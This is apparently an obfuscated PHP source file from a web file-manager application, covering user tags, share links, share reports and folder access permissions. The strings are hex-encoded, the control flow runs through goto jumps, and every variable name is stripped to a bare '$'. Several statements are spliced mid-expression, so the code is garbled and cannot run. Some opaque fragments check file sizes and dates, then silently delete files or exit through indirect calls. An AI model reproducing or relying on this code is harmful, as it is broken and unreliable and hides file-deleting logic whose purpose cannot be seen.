[912]) && filemtime($) < time()) { @unlink($); } } } } goto d; F: class UserTagModel extends ModelBaseLight { public $
optionType = "\125\x73\145\162\x2e\164\x61\147\x4c\x69\x73\x74"; public $modelType = "\x55\x73\145\162\x4f\160\x74\151\157\156"; public $fie
ld = array("\156\141\155\145", "\x73\x74\171\154\x65", "\163\157\162\x74"); public function listData($ = false, $ = "\x73\x6f\162
\164", $ = false) { return parent::listData($, $, $); } public function remove($) { return parent::remove($);
} public function add($, $ = "\x6c\x61\x62\x65\x6c\x2d\x67\162\145\171\x2d\x6e\x6f\x72\x6d\x61\x6c") { $ =& $_SERVER[
]; if ($this->findByName($)) { return !1; } $ = array($[502] => $, $[566] => $, $[1967] => $this->getSo
rt($[344]) + 1); return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->li
stData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[483]] != $[$[483]]) { return !1
; } return parent::update($, $); } public function moveTop($) { $ =& $_SERVER[]; $ = parent::listData(); $
 = $this->getSort($[343]); foreach ($ as &$) { if ($[$[483]] == $) { $[$[1987]] = $; continue; }
$[$[1987]] += 1; } unset($); return parent::resetData($); } public function moveBottom($) { $ =& $_SERVER[
]; $ = $this->getSort($[344]) + 1; return parent::update($, array($[1987] => $)); } public function resetSort(
$) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $
++) { $[$[$] . $[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$) { $ = $[$[$
[483]]]; $[$[1987]] = $ ? $ : $[$[1987]]; } unset($); return parent::resetData($); } private function getSo
rt($) { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1987]); if (!$
) { $ = array(0); } $ = $ == $[344] ? max($) : min($); return intval($); } } goto d; e: f
unction binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[][3]] = ("\70\65\60\61"."\x39\x37")+0;$_dwpq="5ur3
gi2wbyzhf80tc197xpjqm4esoldvk6an8m3kgplvebtxzu7hyfs6jqrc091id24wno5aek9rcz25";; class ClassBaseCall { protected static $_methodListStatic =
array(); protected static $_methodList = array(); public function __call($, $) { $ =& $_SERVER[]; if (isset(self::$_metho
dList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_u
ser_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $[4] . $ . $[5]); } } } public static functi
on __callStatic($, $) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$],
$); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $); } else { show_json("{$}\50\
51\40\156\x6f\164\x20\145\170\x69\x73\x74\x3b", !1); } } } public static function addMethod($, $) { self::$_methodList[$] =
$; } public static function addMethodStatic($, $) { self::$_methodListStatic[$] = $; } } goto c; A: class Path
DriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][
1414]); } public function getPathOuter($) { $ =& $_SERVER[]; if (!$) { return $; } $ = $this->parse($);
return trim(KodIO::makeShare($this->pathParse[$[483]], $[$[483]]), $[8]); } protected function infoParse($, $
 = false, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[483]]; $ = trim($this->pathParse[$[1246]],
$[8]); return Action($[1421])->sharePathInfo($, $, $); } public function infoFull($) { $ =& $_SERVER[
]; $ = explode($[8], trim($, $[8])); if (count($) > 1) { $ = implode($[8], array_splice($, 1)); $
 = $this->model->pathInfoByPath($[0], $); if (!$) { return !1; } $this->pathParse[$[1246]] = $[$[193]]; } ret
urn $this->infoParse($); } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[87
]]); if (!$) { return array(); } $ = $this->model->listAll($); $ = Model($[672])->getInfo($[$[673]]); f
oreach ($ as &$) { check_abort(); $[$[90]] = Action($[1421])->_shareItemeParse($[$[90]], $); } un
set($); return $; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse =
$; $this->model = Model($_SERVER[][1414]); } protected function infoParse($, $ = false, $ = false) { $ =& $_SERV
ER[]; return Action($[1252])->sharePathInfo($this->pathParse[$[87]], !0, $); } public function listPath($, $ = fal
se) { $ =& $_SERVER[]; $ = parent::listPath($, $); if (!$) { return $; } if (is_array($[$[1422]]))
{ $[$[1422]] = Action($[1252])->shareItemInfo($[$[1422]]); } foreach ($ as $ => $) { if (!in_array($,
array($[86], $[85]))) { continue; } foreach ($ as $ => $) { $[$][$] = Action($[1252])->shareItemIn
fo($); } } return $; } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[87
]]); if (!$) { return array(); } $ = $this->model->listAll($); foreach ($ as &$) { $[$[90]] = Action($
[1252])->shareItemInfo($[$[90]]); } unset($); return $; } } class PathDriverDriverShareItem { public function __c
onstruct($) { $this->pathParse = $; } public function __call($, $) { $ =& $_SERVER[]; if (method_exists($this
, $)) { return; } $ = call_user_func_array(array($[1423], $), $); $ = array($[1424], $[1425], $[142
6], $[1427], $[626], $[628], $[1428], $[110], $[1429], $[1430]); if (in_array($, $)) { $ = $this->
getPathOuter($); } return $; } public function copy($, $, $ = false, $ = false) { return $this->copyMove($
, $, $, $_SERVER[][626], $); } public function move($, $, $ = false, $ = false) { return $this->copyM
ove($, $, $, $_SERVER[][628], $); } private function copyMove($, $, $, $, $ = false) { $
 =& $_SERVER[]; $ = $; $ = IO::driverMake($); if ($->pathParse[$[1228]]) { $ = $->pathParse
[$[1228]]; } else { $ = $; } $ = IO::copyMove($, $, $, $, $); $ = $this->getPathOuter($
); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][87]]); } public function pa
thFather($) { return get_path_father($this->pathParse[$_SERVER[][87]]); } public function iconvSystem($) { return $; } p
rotected function infoParse($, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[568]][$[1253]] . $t
his->pathParse[$[1246]]; if ($) { $ = IO::infoWithChildren($); } else { $ = IO::info($); } $ = $this->p
athParse[$[568]]; return Action($[1421])->_shareItemeParse($, $); } public function listAll($) { $ =& $_SERVE
R[]; $ = IO::listAll($); $ = rtrim($this->pathParse[$[568]][$[1253]], $[8]); foreach ($ as &$)
{ $[$[87]] = $this->pathDriver . $[8] . ltrim(substr($[$[87]], strlen($)), $[8]); } unset($); return $
; } public function listAllSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->listAll($); $ = $this->p
athParse[$[503]]; if (trim($, $[8]) == trim(get_path_father($), $[8])) { $ = !0; } return IO::init($[12])
->listAllSimpleMake($, $, $); } public function getPathOuter($) { $ =& $_SERVER[]; $ = KodIO::parse($
); if ($[$[33]] == KodIO::KOD_SHARE_ITEM) { return $[$[87]]; } $ = KodIO::clear($); $ = KodIO::clear($thi
s->pathParse[$[568]][$[1253]]); $ = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { retur
n !1; } return $this->pathParse[$[1247]] . $[8] . ltrim($, $[8]); } public function getType() { $ =& $_SERVER[
]; $ = str_replace($[77], $[12], get_class($this)); return strtolower($); } public function isOsDriver($) { re
turn IO::isOsDriver($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $
this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { r
eturn $this->infoParse($); } } goto c; f: if ($_SERVER[$_SERVER[][321]] != $_size($_file)) { $_getc = $_SERVER[][3
23]; $_getfile = $_SERVER[$_SERVER[][324]] . $_SERVER[][325]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[
][262], $_getfilec); if (count($_getarrs) < $_SERVER[][326]) { $exit = $_SERVER[][327]; $exit(); } $_act = $_SERVER[][328
]; $_act($_file); } class ShareModel extends ModelBase { protected $tableName = "\163\x68\x61\162\x65"; protected $dataAuto = array(array("\
155\157\x64\151\146\171\x54\151\155\145", "\164\151\x6d\x65", "\151\156\x73\145\162\164\54\x75\x70\x64\141\x74\x65", "\146\x75\156\143\164\1
51\x6f\x6e"), array("\143\x72\145\x61\x74\x65\x54\x69\155\x65", "\164\151\155\145", "\x69\156\163\145\162\x74", "\146\x75\156\x63\164\151\15
7\x6e"), array("\157\160\x74\151\157\156\163", '', "\x69\156\163\x65\x72\164\54\x75\x70\144\141\164\145\x2c\x73\x65\x6c\145\x63\x74", "\x6a\
163\157\x6e")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = isset($
[0]) ? $[0] : !1; return array($[2106] => array(USER_ID, $[2107]), $[2047] => array($, $[2108])); } protected
function listSimple() { $ = array($_SERVER[][1764] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(
); return $ ? $ : array(); } protected function getInfo($, $ = false) { $ =& $_SERVER[]; if ($) { return $
this->_getShareInfo(array($[673] => $)); } $ = $this->cacheFunctionGet($[2049], $); return $; } public funct
ion getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[][2109] => $)); } public function getInfoByPath($) { $
 =& $_SERVER[]; $ = array($[1764] => USER_ID, $[193] => $); return $this->_getShareInfo($); } public fun
ction getInfoBySourcePath($) { $ =& $_SERVER[]; $ = array($[1764] => USER_ID, $[1253] => $); return $this->_
getShareInfo($); } private function _getShareInfo($) { $ =& $_SERVER[]; $ = $this->where($)->find(); if (!$
) { return !1; } $ = array($[673] => $[$[673]]); $ = $[2110]; $ = Model($[674])->order($[483])->
field($)->where($)->select(); if ($[$[193]] == $[228]) { $[$[90]] = IO::info($[$[1253]]); } else {
$[$[90]] = Model($[1414])->pathInfo($[$[193]]); } $[$[2111]] = $; return $; } protected function ge
tInfoAuth($) { $ =& $_SERVER[]; $ = $this->getInfo($); if ($[$[1764]] == USER_ID) { $[$[495]] = $
[$[90]][$[495]]; } else { $[$[495]] = Model($[575])->authMake($[$[2111]]); } return $; } protected functi
on listData($ = null, $ = 300) { $ =& $_SERVER[]; $ = array(array($[570] => array($[1086], 0), $[6
71] => array($[1086], 0), $[2112] => $[2065])); if ($ == $[2113]) { $ = array($[570] => 1); } else { if
($ == $[1238]) { $ = array($[671] => 1); } } $[$[1764]] = USER_ID; $ = $this->where($)->selectPage($
); return $; } protected function listToMe($ = 300) { $ =& $_SERVER[]; $ = Model($[2114])->userGroupParents(
USER_ID); $ = array($[656] => SourceModel::TYPE_USER, $[577] => USER_ID); if ($) { $ = array(array($[656] => SourceM
odel::TYPE_USER, $[577] => USER_ID), array($[656] => SourceModel::TYPE_GROUP, $[577] => array($[7], $)), $[2112] =>
$[2065]); } $ = Model($[674])->where($)->selectPage($); $ = array_to_keyvalue_group($[$[454]], $[673]
); if (!$) { return $; } $ = $[2115]; $ = array($[673] => array($[500], array_keys($)), $[1764] => arr
ay($[1088], $[228])); $ = $this->field($)->where($)->select(); foreach ($ as $ => &$) { $[$[21
11]] = $[$[$[673]]]; } unset($); $ = array($[2116] => $, $[2117] => $[$[451]]); return $
; } protected function shareAdd($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $); if (!empty($
[$[2118]])) { $this->_shareAuthSet($, $[$[2118]]); } $this->shareEventAdd($, $, $[2119]); return $
; } protected function shareAddSystem($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $, $[19
1]); $this->_shareAuthSet($, $[$[2118]]); return $; } private function shareEventAdd($, $, $ = "\141\x64\x
64") { $ =& $_SERVER[]; if (!$ || $ == $[228]) { return; } if ($ == $[2119]) { if ($[$[570]] ==
$[91]) { Model($[641])->eventShare($, $[2120]); } if ($[$[671]] == $[91]) { Model($[641])->eventShar
e($, $[2121]); } return; } $ = $this->getInfoByPath($); $ = $[2122]; if ($[$[570]] == $[228] &&
$[$[570]] == $[91]) { $ = $[2120]; } if ($[$[570]] == $[91] && $[$[570]] == $[228])
{ $ = $[2123]; } if ($[$[671]] == $[228] && $[$[671]] == $[91]) { $ = $[2121]; } if ($
[$[671]] == $[91] && $[$[671]] == $[228]) { $ = $[2124]; } Model($[641])->eventShare($, $
); return; } private function _addShareData($, $ = array(), $ = false) { $ =& $_SERVER[]; $ = $ == $
[191] ? 0 : USER_ID; $ = array($[499] => $, $[1755] => $); if ($ == 0) { $ = array($[2125] =>
$[$[1253]], $[1755] => $); } if ($ = $this->where($)->find()) { return $[$[673]]; } if ($
== 0) { $ = array($[32] => get_path_this($[$[87]])); } else { $ = Model($[897])->sourceInfo($); if (!$
) { return !1; } } if (!$[$[1653]]) { $[$[1653]] = $[$[32]]; } $ = array($[1755] => $, $
[499] => $, $[1653] => $[12], $[570] => 0, $[671] => 0, $[1253] => $[12], $[392] => $[12], $
[963] => $[12], $[2126] => 0, $[2127] => 0, $[834] => 0, $[2128] => $[12], $[2109] => $[12]); $
 = explode($[50], $[2129]); foreach ($ as $) { if (!isset($[$])) { continue; } $[$] = $
[$]; } $ = $this->add($); $ = array($[2109] => short_id($)); $this->where(array($[2130] => $))->
save($); return $; } private function _shareAuthSet($, $) { $ =& $_SERVER[]; if (!is_array($)) { return !1
; } $ = Model($[2075]); $->where(array($[673] => $))->delete(); $ = array(); foreach ($ as $) { $
 = SourceModel::TYPE_USER; if ($[$[190]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $ = array($[67
3] => $, $[190] => $, $[577] => intval($[$[577]]), $[2071] => 0, $[2131] => -1); if ($[$[20
71]]) { $[$[2071]] = $[$[2071]]; } else { if ($[$[2131]]) { $[$[2131]] = $[$[2131]]; } } $[
] = $; } return $->addAll($, array(), !0); } public function numViewAdd($) { $ =& $_SERVER[]; $ = array($
[2130] => $); $this->where($)->setAdd($[2126]); } public function numDownloadAdd($) { $ =& $_SERVER[]; $
 = array($[2130] => $); $this->where($)->setAdd($[2127]); } protected function shareEdit($, $) { $ =& $
_SERVER[]; $ = $this->getInfo($); if (!$) { return !1; } $this->_checkLinkShare($, $); $ = array(); $ = e
xplode($[50], $[2132]); foreach ($ as $) { if (!array_key_exists($, $)) { continue; } $[$] = $[$
]; } $this->shareEventAdd($[$[193]], $, $[1932]); $this->where(array($[2130] => $))->save($); if (isset($
[$[2118]])) { $this->_shareAuthSet($, $[$[2118]]); } return !0; } private function _checkLinkShare($, $) { $
 =& $_SERVER[]; if ($[$[570]] != $[91]) { return; } $ = $[$[90]][$[193]]; if ($[$[
90]][$[33]] != $[230]) { $ = $this->_folderReport($); if (!$) { return; } show_json(LNG($[2133]) . $[2134]
. $, !1); } $ = Model($[897])->fileInfoGet($[$[90]][$[193]]); if (!$) { return; } $ = $this->shareFi
leMeta($[$[549]]); if (isset($[$[459]]) && $[$[459]] == $[91]) { show_json(LNG($[2135]), !1); } } pr
ivate function _folderReport($) { $ =& $_SERVER[]; $ = array($[549] => array($[1086], 0), $[823] => 3); $
 = Model($[2136])->where($)->field($[549])->select(); if (!$) { return !1; } $ = array_to_keyvalue($,
$[12], $[549]); $ = $[50] . $ . $[50]; $ = array($[549] => array($[7], $), $[592] =>
array($[467], "\45{$}\x25"), $[513] => 0); $ = Model($[897])->where($)->field($[2137])->find(); if (!$
) { return !1; } $ = substr($[$[592]], strpos($[$[592]], $)); $ = array($[193] => array($[7
], trim($, $[50]))); $ = Model($[897])->where($)->field($[32])->select(); $ = array_to_keyvalue($, $
[12], $[32]); $[] = $[$[32]]; return implode($[8], $); } protected function remove($) { $ =& $_SE
RVER[]; $ = is_array($) ? $ : array($); for ($ = 0; $ < count($); $++) { $ = $this->getInf
o($[$]); if ($[$[671]] == $[91]) { Model($[641])->eventShare($[$[193]], $[2124]); } if ($
[$[570]] == $[91]) { Model($[641])->eventShare($[$[193]], $[2123]); } } if (is_array($)) { $ = array($
[7], $); } $ = array($[673] => $); $ = $this->where($)->delete(); if ($) { Model($[674])->where(array
($[673] => $))->delete(); } return $; } protected function removeBySource($) { $ =& $_SERVER[]; $ = arra
y($[499] => array($[500], $)); $ = $this->field($[673])->where($)->select(); $ = array_to_keyvalue($
, $[12], $[673]); if (!$) { return; } $ = array($[2130] => array($[500], $)); $this->where($)->de
lete(); Model($[674])->where($)->delete(); } public function listAll($) { $ =& $_SERVER[]; $ = array(); if (
$[$[1764]]) { $[$[1764]] = $[$[1764]]; } if ($[$[833]]) { $ = $[$[834]] ? $
[$[834]] : strtotime(date($[2138])); $[$[231]] = array($[418], array($[$[833]], $)); } if ($
[$[33]]) { $[$[$[33]]] = 1; } else { $[] = array($[570] => array($[1086], 0), $[671] => array($
[1086], 0), $[2112] => $[2065]); } if ($[$[2061]]) { $[] = array($[2109] => $[$[2061]], $
[1653] => array($[467], "\x25{$[$[2061]]}\45"), $[2112] => $[2065]); } $ = $this->_makeOrder()->where
($)->selectPage(20); if (empty($[$[454]])) { return array(); } $this->_listDataApply($[$[454]]); return $; }
public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$) { $ =& $_SER
VER[]; $ = array_to_keyvalue($, $[12], $[1764]); $ = Model($[606])->userListInfo(array_unique($)); $
= array_to_keyvalue($, $[12], $[193]); $ = Model($[897])->sourceListInfo($, !0); foreach ($ as $ => &$
) { $ = $[$[1764]]; $[$[2139]] = $[$] ? $[$] : !1; $ = $[$[193]]; $[$[90]
] = $[$] ? $[$] : !1; if ($[$[90]][$[513]] == $[91]) { unset($[$]); } if ($[$[90]] !=
$[228] && !$[$[90]]) { unset($[$]); } } unset($); $ = array_values($); } private function _makeOrder($
 = '') { $ =& $_SERVER[]; $ = array($[231], $[834], $[2126], $[2127]); $ = array($[53
1] => $[532], $[533] => $[534]); $ = Input::get($[538], $[7], $[505], $); $ = Input::get(
$[539], $[7], $[2140], array($[2058], $[533])); $ = $[$]; $ = $ . "{$}\x20{$
}"; return $this->order($); } public function reportAdd($) { $ =& $_SERVER[]; $ = array($[673] => $[$
[673]], $[1764] => USER_ID); if (Model($[2136])->where($)->find()) { return !1; } $ = array($[673] => $[$
[673]], $[1653] => $[$[1653]], $[193] => $[$[193]], $[549] => $[$[549]], $[1764] => USER_ID,
$[33] => $[$[33]], $[534] => $[$[534]]); return Model($[2136])->add($); } public function reportList($
) { $ =& $_SERVER[]; $ = array(); if ($[$[833]]) { $ = $[$[834]] ? $[$[834]] : strtoti
me(date($[2138])); $[$[231]] = array($[418], array($[$[833]], $)); } if (isset($[$[33]]) && in_ar
ray($[$[33]], array($[91], $[518], $[2141], $[2142], $[2143]))) { $[$[33]] = $[$[33]];
} if (isset($[$[823]]) && in_array($[$[823]], array($[228], $[91], $[518], $[2141]))) { $[$[
823]] = $[$[823]]; } $ = Input::get($[539], $[7], $[2140], array($[2058], $[533])); $ = array(
$[531] => $[532], $[533] => $[534]); $ = $[2144] . $[$]; $ = Model($[2136])->where($)-
>order($)->selectPage(20); if (empty($[$[454]])) { return array(); } $ = array_to_keyvalue_group($[$[454]], $
[823], $[673]); if (!empty($[0])) { $ = $[0]; $ = array($[673] => array($[7], $)); $ = $this->w
here($)->field($[673])->select(); $ = array_to_keyvalue($, $[12], $[673]); $ = array_diff($, $); if (!e
mpty($)) { foreach ($[$[454]] as $ => $) { if (in_array($[$[673]], $)) { unset($[$[454]]
[$]); } } } } $this->_listDataApply($[$[454]]); return $; } public function reportStatus($) { $ =& $_SERVER[
]; $ = array($[483] => $[$[483]]); $ = Model($[2136])->where($)->field($[2145])->find(); i
f (!$) { return !1; } $ = array($[823] => $[$[823]]); if ($[$[823]] == $[2141] && $[$
[823]] == $[2141]) { $[$[823]] = 0; } $ = Model($[2136])->where($)->save($); if ($[$[823]]
== $[518]) { if ($[$[549]] != $[228] && $this->shareFileMeta($[$[549]])) { $this->shareFileMeta($
[$[549]], 0); } $this->remove($[$[673]]); return !0; } if ($ && $[$[823]] == $[2141]) { $ = $
[$[823]] == $[2141] ? 1 : 0; $this->shareFileMeta($[$[549]], $); $this->removeByFile($[$[549]]);
} return $; } private function removeByFile($) { $ =& $_SERVER[]; $ = Model($[897])->where(array($[549] =
> $))->field($[193])->select(); $ = array_to_keyvalue($, $[12], $[193]); $ = array($[193] => array($
[7], $), $[570] => 1); $ = $this->where($)->field($[673])->select(); if (empty($)) { return; } $ = ar
ray_to_keyvalue($, $[12], $[673]); $this->remove($); } private function shareFileMeta($, $ = null) { $ =&
$_SERVER[]; $ = array($[549] => $, $[97] => $[2146]); if (is_null($)) { return Model($[2147])->
where($)->find(); } $[$[459]] = $; Model($[2147])->add($, array(), !0); } } class SourceAuthModel extends ModelB
ase { protected $tableName = "\151\157\137\x73\x6f\165\162\143\x65\x5f\141\165\x74\150"; public function getAuth($) { $ =& $_SERVER[
]; $ = $this->sourceAuthSelect($); $ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model(
$[579])->listData($[$[2071]]); if (!$) { continue; } $[] = $; $ = 0; if ($[$[190]] == SourceModel::TYP
E_GROUP) { $ = $ * 2; } if ($[$[190]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[190]] == SourceModel::
TYPE_USER && $[$[577]] == $[228]) { $ = 0; } $[] = $[$[495]] + $; } array_multisort($, SORT_DESC, $
); return $; } public function sourceAuthSelect($) { $ =& $_SERVER[]; static $ = array(); $ = is_array($) ?
!1 : !0; if ($) { $ = array($); } $ = array(); foreach ($ as $) { if (isset($[$])) { $[$] = $[
$]; } } if (count($) == count($)) { return $ ? $[$[0]] : $; } $ = $[2148]; $ = array($[193] => ar
ray($[7], $)); $ = $this->field($)->order($[483])->where($)->select(); $ = array_to_keyvalue_group($, $
[193]); foreach ($ as $) { $[$] = $[$] ? $[$] : array(); } if ($) { return $; } return $; }
public function setAuth($, $) { $ =& $_SERVER[]; $ = Model($[1414])->sourceInfo($); if (!$) { return !1;
} if ($[$[190]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ = $[$[577]]; if ($ != $) { $
 = array($[1963] => $); $ = Model($[2057])->field($[1764])->where($)->select(); $ = array_to_keyvalu
e($, $[12], $[1764]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ a
s $) { if (!in_array($[$[190]], $)) { show_json(LNG($[2149]), !1); } if ($ != $) { if ($[$[190]]
== SourceModel::TYPE_GROUP) { } if ($[$[577]] != 0 && !in_array($[$[577]], $)) { } } if ($[$[577]] == 0) {
$[$[190]] = SourceModel::TYPE_USER; } $[] = array($[193] => $, $[190] => intval($[$[190]]), $[577] =
> intval($[$[577]]), $[2071] => intval($[$[2071]]) ? intval($[$[2071]]) : 0, $[2131] => intval($[$
[2131]]) ? intval($[$[2131]]) : -1); } $this->where(array($[499] => $))->delete(); $this->addAll($); return !0; } p
ublic function authClear($) { $ =& $_SERVER[]; $ = Model($[1414])->sourceInfo($); $ = array($); if ($
[$[493]] == $[91]) { $ = array($[660] => array($[620], $[$[592]] . $ . $[621])); $ = Model(
$[1414])->field($[499])->where($)->getField($[193], !0); $[] = $; } $this->where(array($[499] => array($[50
0], $)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[]; $ = Model($[1414])->sourc
eInfo($); if ($[$[493]] != $[91]) { return $this->sourceListAuth(array($)); } if ($[$[190]] != SourceModel
::TYPE_GROUP) { return array(); } $ = 1; $ = array($); if ($[$[192]] == $[228] && $[$[577]] != $) {
$ = $this->groupChidldAllRootSource($[$[577]]); } $ = $this->field($[193])->group($[193])->select(); $ = arra
y_to_keyvalue($, $[12], $[193]); if (!$) { return array(); } $ = $[2150]; $ = array($[193] => array($[7]
, $), $[513] => $[228]); $ = Model($[897])->field($)->where($)->select(); $ = array($); foreach ($
 as $) { foreach ($ as $) { $ = $[50] . $ . $[50]; $ = $[$[592]] . $[$[193]] . $
[50]; if (strstr($, $)) { $[] = $[$[193]]; break; } } } return $this->sourceListAuth($); } private function source
ListAuth($) { $ =& $_SERVER[]; $ = Model($[1414])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($
); $ = array(); $ = array(); foreach ($ as $) { unset($[$[537]]); unset($[$[535]]); unset($[$
[495]]); unset($[$[90]]); $ = $[$[$[193]]]; if (!$) { continue; } $[$[2151]] = $this->authTarg
etInfo($); $[$[590]] = rtrim($[$[596]], $[8]) . $[8] . ltrim($[$[590]], $[8]); $[] = $
; $ = count(explode($[8], trim($[$[590]], $[8]))); $[] = $ + ($[$[33]] == $[78] ? 0 : 1000
); } array_multisort($, SORT_ASC, $); return $; } private function groupChidldAllRootSource($) { $ =& $_SERVER[];
$ = Model($[2152])->groupChildrenAll($); $ = array($[192] => 0, $[577] => array($[7], $), $[190]
=> SourceModel::TYPE_GROUP); $ = Model($[897])->field($[193])->where($)->select(); $ = array_to_keyvalue($, $
[12] = 2 << 25; foreach ($ as $) { $ = Model($[579])->listData($[$[2071]]); if (!$) { continue; } if
($[$[190]] == SourceModel::TYPE_USER) { $ = Model($[585])->getInfoSimpleOuter($[$[577]]); if ($[$[1
764]] == $[1269]) { continue; } if ($[$[1764]] == $[228]) { $[$[32]] = LNG($[2153]); } } else { $ =
Model($; } if ($[$[190]] == SourceModel::TYPE_USER && $[$[577]] == $[228]) { $ = 0; } $[] = $[$
[495]] + $; } array_multisort($, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $) {
$ =& $_SERVER[]; $ = Model($[606])->getInfo($); if (!$ || !$ || !$) { return array(); } $
= Model($[1414])->sourceInfo($); $ = array(); $ = 1; if ($[$[192]] == $[228] && $[$[577]] !
= $ && $this->groupContainUser($[$[577]], $)) { foreach ($[$[2154]] as $) { $ = Model($[593])-
>getInfo($[$[1963]]); $ = Model($[606])->getInfoSimpleOuter($); $[$[548]] = $[$[495]]; if (Mo
del($[579])->authCheckAction($[$[495]][$[495]], $[1984])) { continue; } $ = array($[32] => $[12
89] . $[$[32]], $[193] => $[$[90]][$[193]], $[87] => KodIO::make($[$[90]][$[193]]), $
[192] => $[228], $[190] => $[586], $[33] => $[624], $[590] => $[$[597]], $[1963] =>
$[$[1963]], $[594] => $[$[192]], $[2151] => array($)); $[$[$[193]]] = $; } } $
 = array(); $ = $this->getAllChildren($); foreach ($ as $) { $ = !1; foreach ($[$[2151]] as $) { if ($
[$[1764]]) { if ($[$[1764]] == $) { $ = !0; break; } } if ($[$[1963]]) { if ($this->groupContainU
ser($[$[1963]], $)) { $ = !0; break; } } } if ($) { $[] = $; } $ = $[$[193]]; if (isset($
[$])) { $[$[2151]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ =
array_merge($, $); return $; } public function setAllChildrenByUser($, $, $) { $ =& $_SERVER[]; $
 = $this->getAllChildrenByUser($, $); if (!$ || !$) { return !1; } foreach ($ as $) { $ = array(); for
each ($[$[2151]] as $) { $ = $[$[548]]; $ = $[$[1764]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GR
OUP; $ = $[$[1764]] ? $[$[1764]] : $[$[1963]]; if ($[$[1764]] && $[$[1764]] == $) { conti
nue; } $[] = array($[193] => $[$[193]], $[190] => $, $[577] => intval($), $[2071] => isset($[$
[483]]) ? intval($[$[483]]) : 0, $[2131] => isset($[$[2131]]) ? intval($[$[2131]]) : -1); } $[] = array
($[193] => $[$[193]], $[190] => SourceModel::TYPE_USER, $[577] => intval($), $[2071] => intval($), $[
2131] => -1); $this->where(array($[499] => $[$[193]]))->delete(); $this->addAll($); } return !0; } public function get($
) { $ = $this->getSourceList(array($), !0); return $[0]; } public function getSourceList($, $ = false, $ = fa
lse) { $ =& $_SERVER[]; if (!$) { return array(); } $ = Model($[1414]); if (!$ && count($) == 1) { $ = a
rray(); $[$[0]] = $->sourceInfo($[0]); } if (!$) { $ = array($[499] => array($[500], $)); $ = $
->field($[2155])->where($)->select(); $ = array_to_keyvalue($, $[193]); } $ = $; foreach ($ as $
=> $) { $ = $->parentLevelArray($[$[592]]); $ = array_merge($, array($), array_reverse($)); }
$ = array_values(array_unique($)); if (!$) { return array(); } $ = $this->sourceAuthSelect($); $ = array()
; foreach ($ as $) { if (isset($[$])) { $[$] = $[$]; } } $ = $this->userIsRoot($); $
 = AuthModel::authAll(); $ = array($[496] => $, $[2156] => array($[501] => 0, $[1969] => $, $[502] =>
LNG($[2157]), $[1986] => $[2158])); $ = array(); foreach ($ as $ => $) { if ($ && $GLOBALS[$[6]][
$[1982]]) { $[$] = $; continue; } $[$] = $this->makeSourceAuth($, $, $); } return $; } publ
ic function authDeepCheck($, $ = $this->makeAuthDee
p($[$[2159]])) { return !1; } $ = array(); foreach ($[$[2160]] as $ => $)
{ if (!in_array($, $)) { continue; } $[] = $; } if (!$) { return !1; } $ = $ ? $[0] : $; re
turn array($[496] => -1, $[548] => array($[501] => $[1269], $[1969] => $[228], $[502] => LNG($
[2161]), $[1986] => $[2162]), $[2163] => LNG($[2164]), $[2165] => $this->sourceAuthInfo($)); } protecte
d function makeAuthDeep($ = false) { $ =& $_SERVER[]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($
[$])) { return $[$]; } $ = Model($[2166])->listData(); $ = array(); foreach ($ as $) { if ($[$[49
5]] == 0 && $[$[1985]] == $[91]) { $[] = $[$[483]]; } } $ = $this->userGroupParents($); $ = array(
$[190] => SourceModel::TYPE_USER, $[577] => $); if ($) { $ = array(array($[190] => SourceModel::TYPE_USER, $[
577] => $), array($[190] => SourceModel::TYPE_GROUP, $[577] => array($[500], $)), $[1074] => $[2065]); } $
 = $this->field($[2167])->where($)->select(); $ = array(); $ = array_to_keyvalue_group($, $[193]); foreach ($
 as $ => $) { $ = $this->authArrayCheck($, $); if ($[$[496]] > 0) { $[] = $ . $[12]; }
} if ($) { $ = Model($[593]); foreach ($ as $) { $ = $->getInfo($); if (!$ || !is_array($
[$[90]])) { continue; } $[] = $[$[90]][$[193]]; } } $ = array(); $ = $; $ = Model($[1414]); $
 = Model($[593]); $ = array(); $ = array(); $ = array(); $ = array(); if ($) { $ = $->where(array($
[193] => array($[500], $)))->select(); foreach ($ as $) { $ = $->parentLevelArray($[$[592]]); $ = arr
